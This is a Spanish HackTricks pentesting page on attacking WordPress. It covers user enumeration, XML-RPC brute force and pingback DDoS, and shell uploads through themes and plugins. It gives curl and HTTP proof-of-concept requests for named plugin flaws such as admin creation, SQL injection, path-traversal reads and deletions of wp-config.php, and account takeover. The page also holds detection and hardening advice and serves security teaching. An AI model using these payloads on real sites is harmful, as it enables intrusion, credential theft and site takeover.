Wordpress
Reading time: 34 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
-
Los archivos subidos van a:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Los archivos de temas se pueden encontrar en /wp-content/themes/, así que si cambias algún php del tema para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando theme twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php
-
Otra URL útil podría ser: /wp-content/themes/default/404.php
-
En wp-config.php puedes encontrar la contraseña root de la base de datos.
-
Rutas de login por defecto para revisar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Archivos principales de WordPress
index.php
license.txt
contiene información útil, como la versión de WordPress instalada.wp-activate.php
se usa para el proceso de activación por email al configurar un nuevo sitio WordPress.- Carpetas de login (pueden ser renombradas para ocultarlas):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
es un archivo que representa una funcionalidad de WordPress que permite transmitir datos usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la WordPress REST API.- La carpeta
wp-content
es el directorio principal donde se almacenan plugins y temas. wp-content/uploads/
es el directorio donde se almacenan los archivos subidos a la plataforma.wp-includes/
es el directorio donde se guardan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.wp-sitemap.xml
En versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo sitemap XML con todas las entradas públicas y los tipos de post y taxonomías consultables públicamente.
Post-explotación
- El archivo
wp-config.php
contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, host de la base de datos, usuario y contraseña, authentication keys and salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.
Permisos de usuarios
- Administrator
- Editor: Publica y gestiona sus propios posts y los de otros
- Author: Publica y gestiona sus propios posts
- Contributor: Escribe y gestiona sus posts pero no puede publicarlos
- Subscriber: Consulta las entradas y edita su perfil
Enumeración pasiva
Obtener la versión de WordPress
Comprueba si puedes encontrar los archivos /license.txt
o /readme.html
Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Archivos de enlace CSS
- Archivos JavaScript
Obtener Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obtener temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraer versiones en general
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumeración activa
Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, tendrás que Brute Force activamente una lista de Plugins y Temas (esperemos que existan herramientas automatizadas que contengan estas listas).
Usuarios
- ID Brute: Obtienes usuarios válidos de un sitio WordPress al Brute Forcing los IDs de usuarios:
curl -s -I -X GET http://blog.example.com/?author=1
Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.
- wp-json: También puedes intentar obtener información sobre los usuarios consultando:
curl http://blog.example.com/wp-json/wp/v2/users
Otro endpoint /wp-json/
que puede revelar alguna información sobre usuarios es:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. Solo se proporcionará información sobre los usuarios que tengan esta función habilitada.
También ten en cuenta que /wp-json/wp/v2/pages could leak direcciones IP.
- Login username enumeration: Al iniciar sesión en
/wp-login.php
el mensaje es diferente si indica si el username exists or not.
XML-RPC
Si xml-rpc.php
está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso using this por ejemplo).
Para ver si está activo intenta acceder a /xmlrpc.php y enviar esta solicitud:
Comprobar
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
o metaWeblog.getUsersBlogs
son algunos de los métodos que pueden usarse para brute-force credentials. Si puedes encontrar alguno de ellos, puedes enviar algo como:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
Con las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Bypass 2FA
Este método está pensado para programas y no para humanos, y es antiguo; por eso no soporta 2FA. Así que, si tienes creds válidos pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para login con esos creds bypassing 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero todavía podrías llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Si puedes encontrar el método pingback.ping dentro de la lista, puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto. Esto puede usarse para pedirle a miles de sitios Wordpress que accedan a una ubicación (provocando así un DDoS en ese destino) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.
Revisa el uso de system.multicall
en la sección anterior para aprender cómo abusar de este método para causar DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Este archivo suele existir en la raíz del sitio Wordpress: /wp-cron.php
Cuando este archivo es accedido se ejecuta una consulta MySQL "pesada", por lo que podría ser usado por atacantes para causar un DoS.
Además, por defecto, el wp-cron.php
se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Se recomienda desactivar Wp-Cron y crear un cronjob real dentro del host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
/wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio Wordpress puede hacer una petición hacia ti.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Esta herramienta comprueba si existe methodName: pingback.ping y la ruta /wp-json/oembed/1.0/proxy, y si existen, intenta explotarlos.
Herramientas automáticas
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías voltear 1 bit de cualquier archivo de wordpress. Así, podías voltear la posición 5389
del archivo /var/www/html/wp-includes/user.php
para convertir en NOP la operación NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modificando un php del tema usado (se necesitan credenciales de administrador)
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Cambia el contenido por un shell PHP:
Busca en internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puedes usar:
use exploit/unix/webapp/wp_admin_shell_upload
para obtener una sesión.
Plugin RCE
PHP plugin
Puede ser posible subir archivos .php como un plugin.
Crea tu php backdoor usando por ejemplo:
Luego agrega un nuevo plugin:
Sube el plugin y presiona Install Now:
Haz clic en Procced:
Probablemente esto aparentemente no hará nada, pero si vas a Media, verás tu shell subido:
Accede a él y verás la URL para ejecutar el reverse shell:
Subiendo y activando un plugin malicioso
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se realiza a través del Dashboard de WordPress de la siguiente manera:
- Adquisición del plugin: El plugin se obtiene de una fuente como Exploit DB like here.
- Instalación del plugin:
- Navega al Dashboard de WordPress, luego ve a
Dashboard > Plugins > Upload Plugin
. - Sube el archivo zip del plugin descargado.
- Activación del plugin: Una vez que el plugin se instala correctamente, debe activarse a través del dashboard.
- Explotación:
- Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que es conocido por ser vulnerable.
- El Metasploit framework proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, puede establecerse una sesión meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio WordPress.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como pentesting con permiso explícito.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike es un script diseñado para escalar una vulnerabilidad de Cross-Site Scripting (XSS) a Remote Code Execution (RCE) u otras vulnerabilidades críticas en WordPress. Para más info revisa this post. Proporciona soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:
- Privilege Escalation: Crea un usuario en WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Sube tu plugin personalizado (backdoor) a WordPress.
- (RCE) Built-In Plugin Edit: Edita plugins Built-In en WordPress.
- (RCE) Built-In Theme Edit: Edita themes Built-In en WordPress.
- (Custom) Custom Exploits: Exploits personalizados para plugins/temas de terceros de WordPress.
Post Exploitation
Extraer nombres de usuario y contraseñas:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambiar la contraseña del administrador:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en dicha funcionalidad. Puedes ver cómo un plugin puede exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en this blog post.
wp_ajax
Una de las formas en que un plugin puede exponer funciones a los usuarios es vía handlers de AJAX. Estos pueden contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que cualquier usuario autenticado en la instancia de Wordpress podría tener (independientemente de su rol).
Estas son las funciones que pueden usarse para exponer una función en un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
El uso de nopriv
hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).
caution
Además, si la función solo está comprobando la autorización del usuario con la función wp_verify_nonce
, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por ello, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.
- REST API
También es posible exponer funciones desde wordpress registrando una REST API usando la función register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
El permission_callback
es una callback a una función que verifica si un usuario dado está autorizado para llamar al método de la API.
Si se usa la función integrada __return_true
, simplemente omitirá la comprobación de permisos de usuario.
- Acceso directo al archivo PHP
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, en caso de que un plugin exponga alguna funcionalidad vulnerable que se active simplemente accediendo al archivo, será explotable por cualquier usuario.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan “trusted header” shortcuts para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto del usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
- Impacto: escalada de privilegios sin autenticación a admin creando un nuevo administrador vía la core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(fuerza el ID de usuario 1, típicamente la primera cuenta de administrador). - Exploited route:
POST /wp-json/wp/v2/users
con un array de rol elevado.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Por qué funciona
- El plugin asigna una cabecera controlada por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad
create_users
para esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual a partir de la cabecera.
Indicadores de éxito esperados
- HTTP 201 con un cuerpo JSON que describe el usuario creado.
- Un nuevo usuario administrador visible en
wp-admin/users.php
.
Lista de comprobación de detección
- Buscar con grep
getallheaders()
,$_SERVER['HTTP_...']
, o SDKs de terceros que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej.,wp_set_current_user()
,wp_set_auth_cookie()
). - Revisar los registros de REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de
permission_callback
y en su lugar dependan de las cabeceras de la petición. - Buscar usos de funciones core de gestión de usuarios (
wp_insert_user
,wp_create_user
) dentro de manejadores REST que estén protegidos únicamente por valores de cabeceras.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
Los temas y plugins de WordPress frecuentemente exponen manejadores AJAX a través de los hooks wp_ajax_
y wp_ajax_nopriv_
. Cuando la variante nopriv se usa la callback se vuelve accesible por visitantes no autenticados, por lo que cualquier acción sensible debe además implementar:
- Una comprobación de capacidades (p. ej.
current_user_can()
o al menosis_user_logged_in()
), y - Un nonce CSRF validado con
check_ajax_referer()
/wp_verify_nonce()
, y - Sanitización / validación estricta de entradas.
El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad Remove Font Family y terminó distribuyendo el siguiente código (simplificado):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemas introducidos por este fragmento:
- Acceso no autenticado – el
wp_ajax_nopriv_
hook está registrado. - No nonce / capability check – cualquier visitante puede acceder al endpoint.
- Sin saneamiento de rutas – la cadena controlada por el usuario
fontfamily
se concatena a una ruta del sistema de archivos sin filtrar, permitiendo el clásico../../
traversal.
Explotación
Un atacante puede eliminar cualquier archivo o directorio por debajo del directorio base de uploads (normalmente <wp-root>/wp-content/uploads/
) enviando una única petición HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
Detection checklist
- Cualquier callback
add_action( 'wp_ajax_nopriv_...')
que invoque helpers del sistema de archivos (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concatenación de entrada de usuario no saneada en rutas (buscar
$_POST
,$_GET
,$_REQUEST
). - Ausencia de
check_ajax_referer()
ycurrent_user_can()
/is_user_logged_in()
.
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']
) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username>
if the username appeared in an internal array $options['viewing_admin_as_role_are']
, but performed neither a current_user_can()
check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Por qué es explotable
- Confía en
$_REQUEST['reset-for']
y en una opción del plugin sin autorización del lado del servidor. - Si un usuario previamente tenía privilegios más altos guardados en
_asenha_view_admin_as_original_roles
y fue degradado, puede restaurarlos accediendo a la ruta de reset. - En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario todavía presente en
viewing_admin_as_role_are
(autorización rota).
Explotación (ejemplo)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
En builds vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., administrator
), effectively escalating privileges.
Detection checklist
- Look for role-switching features that persist “original roles” in user meta (e.g.,
_asenha_view_admin_as_original_roles
). - Identify reset/restore paths that:
- Read usernames from
$_REQUEST
/$_GET
/$_POST
. - Modify roles via
add_role()
/remove_role()
withoutcurrent_user_can()
andwp_verify_nonce()
/check_admin_referer()
. - Authorize based on a plugin option array (e.g.,
viewing_admin_as_role_are
) instead of the actor’s capabilities.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Algunos plugins enganchan helpers de user-switching al hook público init
y derivan la identidad a partir de una cookie controlada por el cliente. Si el código llama a wp_set_auth_cookie()
sin verificar autenticación, capability y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.
Patrón vulnerable típico (simplificado de Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Por qué es explotable
- El hook público
init
hace que el handler sea accesible por usuarios no autenticados (sin la verificaciónis_user_logged_in()
). - La identidad se deriva de una cookie modificable por el cliente (
original_user_id
). - Una llamada directa a
wp_set_auth_cookie($uid)
inicia sesión al solicitante como ese usuario sin comprobaciones de capability/nonce.
Explotación (sin autenticación)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Consideraciones de WAF para CVEs de WordPress/plugins
Los WAF genéricos de edge/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.
Notas ofensivas
- Apunta a endpoints específicos del plugin con payloads limpios:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Prueba primero rutas no autenticadas (AJAX
nopriv
, REST con permissivepermission_callback
, shortcodes públicos). Los payloads por defecto suelen funcionar sin ofuscación. - Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Notas defensivas
- No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales a nivel de aplicación específicos para la vulnerabilidad o actualiza rápidamente.
- Prefiere controles de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) en lugar de filtros regex negativos.
Protección de WordPress
Actualizaciones regulares
Asegúrate de que WordPress, los plugins y los themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Also, instala solo plugins y temas de WordPress de confianza.
Plugins de seguridad
Otras recomendaciones
- Eliminar el usuario predeterminado admin
- Usar contraseñas fuertes y 2FA
- Revisar periódicamente los permisos de los usuarios
- Limitar los intentos de inicio de sesión para prevenir Brute Force attacks
- Renombrar el archivo
wp-admin.php
y permitir acceso solo internamente o desde ciertas direcciones IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
El plugin de reclutamiento WP Job Portal expuso una tarea savecategory que finalmente ejecuta el siguiente código vulnerable dentro de modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problems introducidos por este fragmento:
- Unsanitised user input –
parentid
proviene directamente de la petición HTTP. - String concatenation inside the WHERE clause – no hay
is_numeric()
/esc_sql()
/ prepared statement. - Unauthenticated reachability – aunque la acción se ejecuta a través de
admin-post.php
, la única comprobación es un CSRF nonce (wp_verify_nonce()
), que cualquier visitante puede obtener desde una página pública que incluya el shortcode[wpjobportal_my_resumes]
.
Explotación
- Obtener un nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inyectar SQL arbitrario abusando de
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, downloadcustomfile, permitía a los visitantes descargar cualquier archivo en disco mediante path traversal. El vulnerable sink está ubicado en modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
está controlado por el atacante y concatenado sin saneamiento. De nuevo, la única barrera es un CSRF nonce que puede obtenerse desde la página del currículum.
Explotación
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
El servidor responde con el contenido de wp-config.php
, leaking DB credentials and auth keys.
Toma de control de cuenta no autenticada vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Muchos temas/plugins incluyen helpers de "social login" expuestos a través de admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_...) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un bypass de autenticación completo.
Patrón defectuoso típico (simplificado)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Por qué es explotable
- Accesible sin autenticación vía admin-ajax.php (acción wp_ajax_nopriv_…).
- No hay comprobaciones de nonce/capability antes del cambio de estado.
- Falta verificación del proveedor OAuth/OpenID; la rama por defecto acepta la entrada del atacante.
- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de correo existente.
Explotación (sin autenticación)
- Prerrequisitos: el atacante puede alcanzar /wp-admin/admin-ajax.php y conoce/adivina un correo electrónico de usuario válido.
- Establecer el proveedor en un valor no soportado (o omitirlo) para alcanzar la rama por defecto y pasar id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Indicadores de éxito esperados
- HTTP 200 con cuerpo JSON como {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* para el usuario víctima; solicitudes posteriores están autenticadas.
Encontrar la acción
- Inspeccionar el theme/plugin buscando add_action('wp_ajax_nopriv_...', '...') registrados en el código de social login (p. ej., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) dentro de los handlers AJAX.
Lista de verificación de detección
- Logs web mostrando POSTs no autenticados a /wp-admin/admin-ajax.php con la acción social-login y id=
. - Respuestas 200 con el JSON de éxito inmediatamente precediendo tráfico autenticado desde la misma IP/User-Agent.
Endurecimiento
- No derives la identidad de la entrada del cliente. Aceptar solo emails/IDs que se originen de un token/ID de proveedor validado.
- Requerir nonces CSRF y comprobaciones de capabilities incluso para login helpers; evitar registrar wp_ajax_nopriv_ a menos que sea estrictamente necesario.
- Validar y verificar las respuestas OAuth/OIDC en el servidor; rechazar proveedores faltantes/invalidos (sin fallback a POST id).
- Considerar deshabilitar temporalmente social login o parchear virtualmente en el edge (bloquear la acción vulnerable) hasta que se corrija.
Comportamiento parcheado (Jobmonster 4.8.0)
- Se eliminó el fallback inseguro de $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
Escalada de privilegios no autenticada mediante creación de tokens/claves REST sobre identidad predecible (OttoKit/SureTriggers ≤ 1.0.82)
Algunos plugins exponen endpoints REST que crean “connection keys” reutilizables o tokens sin verificar las capacidades del llamador. Si la ruta autentica solo en un atributo adivinable (p. ej., username) y no liga la key a un usuario/sesión con comprobaciones de capability, cualquier atacante no autenticado puede generar una key e invocar acciones privilegiadas (creación de cuenta admin, acciones del plugin → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: acepta un username, emite una clave de conexión sin current_user_can() ni un permission_callback estricto
- Impact: toma de control total encadenando la key generada a acciones internas privilegiadas
PoC – generar una clave de conexión y usarla
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
